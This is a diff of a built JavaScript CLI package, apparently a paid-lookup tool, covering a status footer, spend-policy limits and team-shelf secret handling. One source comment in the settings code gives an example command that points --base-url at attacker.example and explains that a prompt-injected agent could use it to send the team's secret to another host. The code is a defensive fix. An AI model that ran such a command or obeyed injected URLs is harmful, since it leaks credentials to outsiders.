never blank. */\nconst READY = 'x402 · ready';\n\n/**\n * How long this state holds the line. A lookup in flight holds it until it\n * lands, because a provider call can take a minute; everything else holds it\n * for {@link RECENT_MS}, which is how the demo reads: one state per second or\n * so, each one still there when the next arrives.\n */\nfunction holdMs(row: SavedProgress): number {\n return row.phase !== 'done' && row.operation === 'request' ? STALE_AFTER_MS : RECENT_MS;\n}\n\n/**\n * One call, as the footer says it: `x402 · <tool>: <state> <host/path> ·\n * <parameters> · <price>`. Every field is sanitized AGAIN here, because what is\n * on disk is input to this process even when this process wrote it.\n */\nfunction line(row: SavedProgress, now: number): string {\n const operation = sanitize(row.operation, 24) || 'request';\n if (row.phase !== 'done' && now - row.at > STALE_AFTER_MS) {\n return `x402 · ${operation}: stale, no outcome recorded`;\n }\n // `selecting service` is the demo's own word for a decision in flight, and a\n // stage the hook names for itself wins over it.\n const state =\n row.phase === 'routing'\n ? sanitize(row.outcome ?? 'selecting service', 40)\n : row.phase === 'calling'\n ? 'calling'\n : sanitize(row.outcome ?? 'done', 40);\n return (\n `x402 · ${operation}: ${state}` +\n (row.endpoint !== undefined ? ` ${sanitize(row.endpoint, 110)}` : '') +\n (row.parameters !== undefined ? ` · ${sanitize(row.parameters, 180)}` : '') +\n (row.price !== undefined ? ` · ${sanitize(row.price, 24)}` : '')\n );\n}\n\n/** Whether it landed. Every caller but the augment marker ignores the answer. */\nasync function write(path: string, body: Stamp | SavedProgress | SavedAugment): Promise<boolean> {\n try {\n await writeFileAtomic(path, JSON.stringify(body), { mode: 0o600, dirMode: 0o700 });\n return true;\n } catch {\n // The footer is the only thing that can be lost here, by design.\n return false;\n }\n}\n\n/** A marker's timestamp, or null for absent, damaged or not ours. */\nasync function readStamp(path: string): Promise<Stamp | null> {\n return stampOf(await readJson(path));\n}\n\nfunction stampOf(row: Record<string, unknown> | null): Stamp | null {\n if (row === null) return null;\n return row.version === 1 && typeof row.at === 'number' && Number.isFinite(row.at)\n ? { version: 1, at: row.at }\n : null;\n}\n\n/** A call record, or null. Every field is re-checked: what is on disk is input. */\nasync function readCall(path: string): Promise<SavedProgress | null> {\n const row = await readJson(path);\n const stamp = stampOf(row);\n if (row === null || stamp === null || typeof row.operation !== 'string') return null;\n if (!['routing', 'calling', 'done'].includes(row.phase as string)) return null;\n const optional = ['outcome', 'endpoint', 'parameters', 'price'] as const;\n if (!optional.every((key) => row[key] === undefined || typeof row[key] === 'string')) return null;\n return {\n ...stamp,\n phase: row.phase as ProgressPhase,\n operation: row.operation,\n ...Object.fromEntries(\n optional.filter((key) => row[key] !== undefined).map((key) => [key, row[key]]),\n ),\n };\n}\n\n/**\n * One bounded JSON object, or null. `O_NOFOLLOW` because these files live under\n * a directory the user can write: a symlink planted here must not turn a footer\n * read into a read of something else.\n */\nasync function readJson(path: string): Promise<Record<string, unknown> | null> {\n const file = await open(path, constants.O_RDONLY | constants.O_NOFOLLOW).catch(() => undefined);\n if (file === undefined) return null;\n try {\n if ((await file.stat()).size > MAX_RECORD_BYTES) return null;\n const buffer = Buffer.alloc(MAX_RECORD_BYTES + 1);\n const { bytesRead } = await file.read(buffer, 0, buffer.length, 0);\n if (bytesRead > MAX_RECORD_BYTES) return null;\n const parsed: unknown = JSON.parse(buffer.subarray(0, bytesRead).toString('utf8'));\n return parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)\n ? null\n : (parsed as Record<string, unknown>);\n } catch {\n return null;\n } finally {\n await file.close().catch(() => undefined);\n }\n}\n"],"mappings":";;;;;;;AAAA,SAAS,YAAY,kBAAkB;AACvC,SAAS,iBAAiB;AAC1B,SAAS,OAAO,MAAM,SAAS,UAAU;AACzC,SAAS,YAAY;AAiCrB,IAAM,eAAe;AAErB,IAAM,iBAAiB;AAEvB,IAAM,eAAe;AAErB,IAAM,eAAe;AAErB,IAAM,kBAAkB;AAExB,IAAM,iBAAiB;AAGvB,IAAM,sBAAsB;AAE5B,IAAM,eAAe;AAErB,IAAM,eAAe;AAGd,IAAM,iBAAiB;AAOvB,IAAM,YAAY;AAElB,IAAM,YAAY,KAAK;AAEvB,IAAM,oBAAoB,KAAK;AAE/B,IAAM,oBAAoB,IAAI;AAErC,IAAM,cAAc;AAGpB,IAAM,eAAe;AAErB,IAAM,mBAAmB;AAyCzB,IAAM,SAAS,CAAC,UAA0B,WAAW,QAAQ,EAAE,OAAO,KAAK,EAAE,OAAO,KAAK;AAEzF,SAAS,QAAQ,OAAe,OAAuB;AACrD,QAAM,QAAQ,MAAM,KAAK,KAAK;AAC9B,SAAO,MAAM,UAAU,QAAQ,QAAQ,GAAG,MAAM,MAAM,GAAG,QAAQ,CAAC,EAAE,KAAK,EAAE,CAAC;AAC9E;AAQO,SAAS,SAAS,OAAe,OAAuB;AAC7D,SAAO;AAA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,SAAS,IAAI,KAAe,EAAG,QAAO;AAC1E,QAAM,WAAW,CAAC,WAAW,YAAY,cAAc,OAAO;AAC9D,MAAI,CAAC,SAAS,MAAM,CAAC,QAAQ,IAAI,GAAG,MAAM,UAAa,OAAO,IAAI,GAAG,MAAM,QAAQ,EAAG,QAAO;AAC7F,SAAO;AAAA,IACL,GAAG;AAAA,IACH,OAAO,IAAI;AAAA,IACX,WAAW,IAAI;AAAA,IACf,GAAG,OAAO;AAAA,MACR,SAAS,OAAO,CAAC,QAAQ,IAAI,GAAG,MAAM,MAAS,EAAE,IAAI,CAAC,QAAQ,CAAC,KAAK,IAAI,GAAG,CAAC,CAAC;AAAA,IAC/E;AAAA,EACF;AACF;AAOA,eAAe,SAAS,MAAuD;AAC7E,QAAM,OAAO,MAAM,KAAK,MAAM,UAAU,WAAW,UAAU,UAAU,EAAE,MAAM,MAAM,MAAS;AAC9F,MAAI,SAAS,OAAW,QAAO;AAC/B,MAAI;AACF,SAAK,MAAM,KAAK,KAAK,GAAG,OAAO,iBAAkB,QAAO;AACxD,UAAM,SAAS,OAAO,MAAM,mBAAmB,CAAC;AAChD,UAAM,EAAE,UAAU,IAAI,MAAM,KAAK,KAAK,QAAQ,GAAG,OAAO,QAAQ,CAAC;AACjE,QAAI,YAAY,iBAAkB,QAAO;AACzC,UAAM,SAAkB,KAAK,MAAM,OAAO,SAAS,GAAG,SAAS,EAAE,SAAS,MAAM,CAAC;AACjF,WAAO,WAAW,QAAQ,OAAO,WAAW,YAAY,MAAM,QAAQ,MAAM,IACxE,OACC;AAAA,EACP,QAAQ;AACN,WAAO;AAAA,EACT,UAAE;AACA,UAAM,KAAK,MAAM,EAAE,MAAM,MAAM,MAAS;AAAA,EAC1C;AACF;","names":[]}
|
|
@@ -48,8 +48,23 @@ function evaluateSpendPolicy(policy, req) {
|
|
|
48
48
|
}
|
|
49
49
|
return { decision: "allow", reason: "within_policy", message: "within spend policy" };
|
|
50
50
|
}
|
|
51
|
+
function policyCoversSet(policy, steps, sessionSpentAtomic) {
|
|
52
|
+
let spent = sessionSpentAtomic;
|
|
53
|
+
for (const step of steps) {
|
|
54
|
+
const evaluation = evaluateSpendPolicy(policy, {
|
|
55
|
+
mode: "automatic",
|
|
56
|
+
amountAtomic: step.amountAtomic,
|
|
57
|
+
creator: step.creator,
|
|
58
|
+
sessionSpentAtomic: spent
|
|
59
|
+
});
|
|
60
|
+
if (evaluation.decision !== "allow") return evaluation;
|
|
61
|
+
spent += step.amountAtomic;
|
|
62
|
+
}
|
|
63
|
+
return { decision: "allow", reason: "within_policy", message: "within spend policy" };
|
|
64
|
+
}
|
|
51
65
|
|
|
52
66
|
export {
|
|
53
|
-
evaluateSpendPolicy
|
|
67
|
+
evaluateSpendPolicy,
|
|
68
|
+
policyCoversSet
|
|
54
69
|
};
|
|
55
|
-
//# sourceMappingURL=chunk-
|
|
70
|
+
//# sourceMappingURL=chunk-B2L53TMK.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/lib/policy.ts"],"sourcesContent":["/**\n * Spend-policy evaluation, pure and provider-agnostic. The wallet provider layer\n * (lib/wallet/spend.ts) owns the ledger and calls this; a future hosted provider\n * (Privy, B5) reuses the same decision rules, so the knobs live in exactly one\n * place. Nothing here does IO, the caller supplies the already-spent total and\n * decides how to satisfy a `confirm` decision (a `--yes`, a TTY prompt, or a\n * non-interactive refusal).\n */\n\nexport type PaymentMode = 'automatic' | 'manual';\n\nexport interface SpendPolicy {\n /** Automatic per-call ceiling; zero blocks positive automatic payments. */\n maxAutoSpendAtomic: bigint;\n /** Rolling ceiling on automatic exposure. null = no ceiling; zero blocks positive automatic payments. */\n sessionBudgetAtomic: bigint | null;\n /** Creators (handle or 0x-address, lowercased) all payments are restricted to.\n * Empty = no restriction. A non-empty list is a hard gate: a non-member is\n * denied even with `--yes`. */\n allowlistCreators: string[];\n}\n\nexport interface SpendRequest {\n /** Omitted by legacy consumers: conservatively automatic. */\n mode?: PaymentMode;\n amountAtomic: bigint;\n /** Creator identity from the 402 preview / candidate, handle or 0x address. */\n creator: string;\n /** The caller's `--max-price` cap, if given. A hard ceiling, never bypassable. */\n maxPriceAtomic?: bigint;\n /** Cumulative spend already recorded in this rolling session window. */\n sessionSpentAtomic: bigint;\n}\n\n/**\n * `allow`: within policy, proceed silently. `confirm`: an approval is required ,\n * the caller satisfies it with `--yes`, an interactive prompt, or refuses. `deny`:\n * a hard gate blocked it (price cap, allowlist, session budget); NOT satisfiable\n * by `--yes` or a prompt.\n */\nexport type SpendDecision = 'allow' | 'confirm' | 'deny';\n\n/**\n * `duplicate_in_flight` is the one reason this pure evaluator never returns: it\n * is a fact about the ledger (an identical request already holds a reservation\n * in this turn), so the authorizer raises it. It lives in the union because\n * every caller renders a decision's reason from one vocabulary.\n */\nexport type PolicyReason =\n | 'within_policy'\n | 'duplicate_in_flight'\n | 'price_cap_exceeded'\n | 'not_allowlisted'\n | 'session_budget_exceeded'\n | 'above_auto_spend'\n | 'confirm_always';\n\nexport interface PolicyEvaluation {\n decision: SpendDecision;\n reason: PolicyReason;\n message: string;\n}\n\n/** Normalize a creator identity for allowlist comparison (case-insensitive; a\n * word-handle and a 0x address are both single tokens). */\nfunction normCreator(value: string): string {\n return value.trim().toLowerCase();\n}\n\n/** Hard price/creator checks apply in both modes. Manual payments require consent;\n * automatic payments must fit both configured ceilings without prompting. */\nexport function evaluateSpendPolicy(policy: SpendPolicy, req: SpendRequest): PolicyEvaluation {\n if (req.maxPriceAtomic !== undefined && req.amountAtomic > req.maxPriceAtomic) {\n return {\n decision: 'deny',\n reason: 'price_cap_exceeded',\n message: `Price ${req.amountAtomic} exceeds the --max-price cap ${req.maxPriceAtomic}.`,\n };\n }\n\n if (policy.allowlistCreators.length > 0) {\n const allowed = policy.allowlistCreators.map(normCreator);\n if (!allowed.includes(normCreator(req.creator))) {\n return {\n decision: 'deny',\n reason: 'not_allowlisted',\n message: `Creator \"${req.creator}\" is not in allowlistCreators.`,\n };\n }\n }\n\n if (req.mode === 'manual') {\n return req.amountAtomic > 0n\n ? {\n decision: 'confirm',\n reason: 'confirm_always',\n message: 'Manual payment requires explicit consent.',\n }\n : { decision: 'allow', reason: 'within_policy', message: 'No payment required.' };\n }\n\n if (policy.sessionBudgetAtomic !== null) {\n const projected = req.sessionSpentAtomic + req.amountAtomic;\n if (projected > policy.sessionBudgetAtomic) {\n return {\n decision: 'deny',\n reason: 'session_budget_exceeded',\n message: `This spend would bring the session total to ${projected}, over sessionBudget ${policy.sessionBudgetAtomic}.`,\n };\n }\n }\n\n if (req.amountAtomic > policy.maxAutoSpendAtomic) {\n return {\n decision: 'deny',\n reason: 'above_auto_spend',\n message: `Price ${req.amountAtomic} is above maxAutoSpend ${policy.maxAutoSpendAtomic}; automatic payment refused.`,\n };\n }\n\n return { decision: 'allow', reason: 'within_policy', message: 'within spend policy' };\n}\n"],"mappings":";;;AAiEA,SAAS,YAAY,OAAuB;AAC1C,SAAO,MAAM,KAAK,EAAE,YAAY;AAClC;AAIO,SAAS,oBAAoB,QAAqB,KAAqC;AAC5F,MAAI,IAAI,mBAAmB,UAAa,IAAI,eAAe,IAAI,gBAAgB;AAC7E,WAAO;AAAA,MACL,UAAU;AAAA,MACV,QAAQ;AAAA,MACR,SAAS,SAAS,IAAI,YAAY,gCAAgC,IAAI,cAAc;AAAA,IACtF;AAAA,EACF;AAEA,MAAI,OAAO,kBAAkB,SAAS,GAAG;AACvC,UAAM,UAAU,OAAO,kBAAkB,IAAI,WAAW;AACxD,QAAI,CAAC,QAAQ,SAAS,YAAY,IAAI,OAAO,CAAC,GAAG;AAC/C,aAAO;AAAA,QACL,UAAU;AAAA,QACV,QAAQ;AAAA,QACR,SAAS,YAAY,IAAI,OAAO;AAAA,MAClC;AAAA,IACF;AAAA,EACF;AAEA,MAAI,IAAI,SAAS,UAAU;AACzB,WAAO,IAAI,eAAe,KACtB;AAAA,MACE,UAAU;AAAA,MACV,QAAQ;AAAA,MACR,SAAS;AAAA,IACX,IACA,EAAE,UAAU,SAAS,QAAQ,iBAAiB,SAAS,uBAAuB;AAAA,EACpF;AAEA,MAAI,OAAO,wBAAwB,MAAM;AACvC,UAAM,YAAY,IAAI,qBAAqB,IAAI;AAC/C,QAAI,YAAY,OAAO,qBAAqB;AAC1C,aAAO;AAAA,QACL,UAAU;AAAA,QACV,QAAQ;AAAA,QACR,SAAS,+CAA+C,SAAS,wBAAwB,OAAO,mBAAmB;AAAA,MACrH;AAAA,IACF;AAAA,EACF;AAEA,MAAI,IAAI,eAAe,OAAO,oBAAoB;AAChD,WAAO;AAAA,MACL,UAAU;AAAA,MACV,QAAQ;AAAA,MACR,SAAS,SAAS,IAAI,YAAY,0BAA0B,OAAO,kBAAkB;AAAA,IACvF;AAAA,EACF;AAEA,SAAO,EAAE,UAAU,SAAS,QAAQ,iBAAiB,SAAS,sBAAsB;AACtF;","names":[]}
|
|
1
|
+
{"version":3,"sources":["../src/lib/policy.ts"],"sourcesContent":["/**\n * Spend-policy evaluation, pure and provider-agnostic. The wallet provider layer\n * (lib/wallet/spend.ts) owns the ledger and calls this; a future hosted provider\n * (Privy, B5) reuses the same decision rules, so the knobs live in exactly one\n * place. Nothing here does IO, the caller supplies the already-spent total and\n * decides how to satisfy a `confirm` decision (a `--yes`, a TTY prompt, or a\n * non-interactive refusal).\n */\n\nexport type PaymentMode = 'automatic' | 'manual';\n\nexport interface SpendPolicy {\n /** Automatic per-call ceiling; zero blocks positive automatic payments. */\n maxAutoSpendAtomic: bigint;\n /** Rolling ceiling on automatic exposure. null = no ceiling; zero blocks positive automatic payments. */\n sessionBudgetAtomic: bigint | null;\n /** Creators (handle or 0x-address, lowercased) all payments are restricted to.\n * Empty = no restriction. A non-empty list is a hard gate: a non-member is\n * denied even with `--yes`. */\n allowlistCreators: string[];\n}\n\nexport interface SpendRequest {\n /** Omitted by legacy consumers: conservatively automatic. */\n mode?: PaymentMode;\n amountAtomic: bigint;\n /** Creator identity from the 402 preview / candidate, handle or 0x address. */\n creator: string;\n /** The caller's `--max-price` cap, if given. A hard ceiling, never bypassable. */\n maxPriceAtomic?: bigint;\n /** Cumulative spend already recorded in this rolling session window. */\n sessionSpentAtomic: bigint;\n}\n\n/**\n * `allow`: within policy, proceed silently. `confirm`: an approval is required ,\n * the caller satisfies it with `--yes`, an interactive prompt, or refuses. `deny`:\n * a hard gate blocked it (price cap, allowlist, session budget); NOT satisfiable\n * by `--yes` or a prompt.\n */\nexport type SpendDecision = 'allow' | 'confirm' | 'deny';\n\n/**\n * `duplicate_in_flight` is the one reason this pure evaluator never returns: it\n * is a fact about the ledger (an identical request already holds a reservation\n * in this turn), so the authorizer raises it. It lives in the union because\n * every caller renders a decision's reason from one vocabulary.\n */\nexport type PolicyReason =\n | 'within_policy'\n | 'duplicate_in_flight'\n | 'price_cap_exceeded'\n | 'not_allowlisted'\n | 'session_budget_exceeded'\n | 'above_auto_spend'\n | 'confirm_always';\n\nexport interface PolicyEvaluation {\n decision: SpendDecision;\n reason: PolicyReason;\n message: string;\n}\n\n/** Normalize a creator identity for allowlist comparison (case-insensitive; a\n * word-handle and a 0x address are both single tokens). */\nfunction normCreator(value: string): string {\n return value.trim().toLowerCase();\n}\n\n/** Hard price/creator checks apply in both modes. Manual payments require consent;\n * automatic payments must fit both configured ceilings without prompting. */\nexport function evaluateSpendPolicy(policy: SpendPolicy, req: SpendRequest): PolicyEvaluation {\n if (req.maxPriceAtomic !== undefined && req.amountAtomic > req.maxPriceAtomic) {\n return {\n decision: 'deny',\n reason: 'price_cap_exceeded',\n message: `Price ${req.amountAtomic} exceeds the --max-price cap ${req.maxPriceAtomic}.`,\n };\n }\n\n if (policy.allowlistCreators.length > 0) {\n const allowed = policy.allowlistCreators.map(normCreator);\n if (!allowed.includes(normCreator(req.creator))) {\n return {\n decision: 'deny',\n reason: 'not_allowlisted',\n message: `Creator \"${req.creator}\" is not in allowlistCreators.`,\n };\n }\n }\n\n if (req.mode === 'manual') {\n return req.amountAtomic > 0n\n ? {\n decision: 'confirm',\n reason: 'confirm_always',\n message: 'Manual payment requires explicit consent.',\n }\n : { decision: 'allow', reason: 'within_policy', message: 'No payment required.' };\n }\n\n if (policy.sessionBudgetAtomic !== null) {\n const projected = req.sessionSpentAtomic + req.amountAtomic;\n if (projected > policy.sessionBudgetAtomic) {\n return {\n decision: 'deny',\n reason: 'session_budget_exceeded',\n message: `This spend would bring the session total to ${projected}, over sessionBudget ${policy.sessionBudgetAtomic}.`,\n };\n }\n }\n\n if (req.amountAtomic > policy.maxAutoSpendAtomic) {\n return {\n decision: 'deny',\n reason: 'above_auto_spend',\n message: `Price ${req.amountAtomic} is above maxAutoSpend ${policy.maxAutoSpendAtomic}; automatic payment refused.`,\n };\n }\n\n return { decision: 'allow', reason: 'within_policy', message: 'within spend policy' };\n}\n\n/**\n * WHETHER A SET OF AUTOMATIC PAYMENTS FITS, all of them, before any is signed.\n * Each one meets {@link evaluateSpendPolicy} exactly as it would alone, with\n * the ones before it already counted against the session: so every step is\n * held to the per-call cap on its own and the set's total to the budget. The\n * first refusal is the answer; each payment still meets the gate when it is\n * signed.\n */\nexport function policyCoversSet(\n policy: SpendPolicy,\n steps: readonly { amountAtomic: bigint; creator: string }[],\n sessionSpentAtomic: bigint,\n): PolicyEvaluation {\n let spent = sessionSpentAtomic;\n for (const step of steps) {\n const evaluation = evaluateSpendPolicy(policy, {\n mode: 'automatic',\n amountAtomic: step.amountAtomic,\n creator: step.creator,\n sessionSpentAtomic: spent,\n });\n if (evaluation.decision !== 'allow') return evaluation;\n spent += step.amountAtomic;\n }\n return { decision: 'allow', reason: 'within_policy', message: 'within spend policy' };\n}\n"],"mappings":";;;AAiEA,SAAS,YAAY,OAAuB;AAC1C,SAAO,MAAM,KAAK,EAAE,YAAY;AAClC;AAIO,SAAS,oBAAoB,QAAqB,KAAqC;AAC5F,MAAI,IAAI,mBAAmB,UAAa,IAAI,eAAe,IAAI,gBAAgB;AAC7E,WAAO;AAAA,MACL,UAAU;AAAA,MACV,QAAQ;AAAA,MACR,SAAS,SAAS,IAAI,Y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S,KAAK;AAAA,EAChB;AACA,SAAO,EAAE,UAAU,SAAS,QAAQ,iBAAiB,SAAS,sBAAsB;AACtF;","names":[]}
|
|
@@ -5,12 +5,12 @@ import {
|
|
|
5
5
|
mainWorktreeOf,
|
|
6
6
|
ownedCandidates,
|
|
7
7
|
projectRoot
|
|
8
|
-
} from "./chunk-
|
|
8
|
+
} from "./chunk-G4AM2SOL.js";
|
|
9
9
|
import {
|
|
10
10
|
CONFIG_DEFAULTS,
|
|
11
11
|
loadRawConfig,
|
|
12
12
|
parseRouterLayer
|
|
13
|
-
} from "./chunk-
|
|
13
|
+
} from "./chunk-VIOUZW7Z.js";
|
|
14
14
|
import {
|
|
15
15
|
CliError
|
|
16
16
|
} from "./chunk-JLEF5WHM.js";
|
|
@@ -124,4 +124,4 @@ export {
|
|
|
124
124
|
readProjectRouterFile,
|
|
125
125
|
projectRouterPath
|
|
126
126
|
};
|
|
127
|
-
//# sourceMappingURL=chunk-
|
|
127
|
+
//# sourceMappingURL=chunk-DATCR7AU.js.map
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
3
|
inspectHooksFile
|
|
4
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-XVYATBKD.js";
|
|
5
5
|
import {
|
|
6
6
|
CliError,
|
|
7
7
|
writeFileAtomic
|
|
@@ -169,4 +169,4 @@ export {
|
|
|
169
169
|
removeStatusLine,
|
|
170
170
|
inspectStatusLine
|
|
171
171
|
};
|
|
172
|
-
//# sourceMappingURL=chunk-
|
|
172
|
+
//# sourceMappingURL=chunk-DSNXKUXI.js.map
|
|
@@ -1,4 +1,7 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
|
+
import {
|
|
3
|
+
parseUsdToAtomic
|
|
4
|
+
} from "./chunk-6ZSGER3A.js";
|
|
2
5
|
import {
|
|
3
6
|
CONFIG_DEFAULTS,
|
|
4
7
|
PRODUCTION_ORIGIN,
|
|
@@ -7,9 +10,8 @@ import {
|
|
|
7
10
|
external_exports,
|
|
8
11
|
isSameDeployment,
|
|
9
12
|
loadRawConfig,
|
|
10
|
-
parseUsdToAtomic,
|
|
11
13
|
resolveSettings
|
|
12
|
-
} from "./chunk-
|
|
14
|
+
} from "./chunk-VIOUZW7Z.js";
|
|
13
15
|
import {
|
|
14
16
|
CliError
|
|
15
17
|
} from "./chunk-JLEF5WHM.js";
|
|
@@ -237,4 +239,4 @@ export {
|
|
|
237
239
|
ownedCandidates,
|
|
238
240
|
projectRoot
|
|
239
241
|
};
|
|
240
|
-
//# sourceMappingURL=chunk-
|
|
242
|
+
//# sourceMappingURL=chunk-G4AM2SOL.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.sh read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.blog) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. 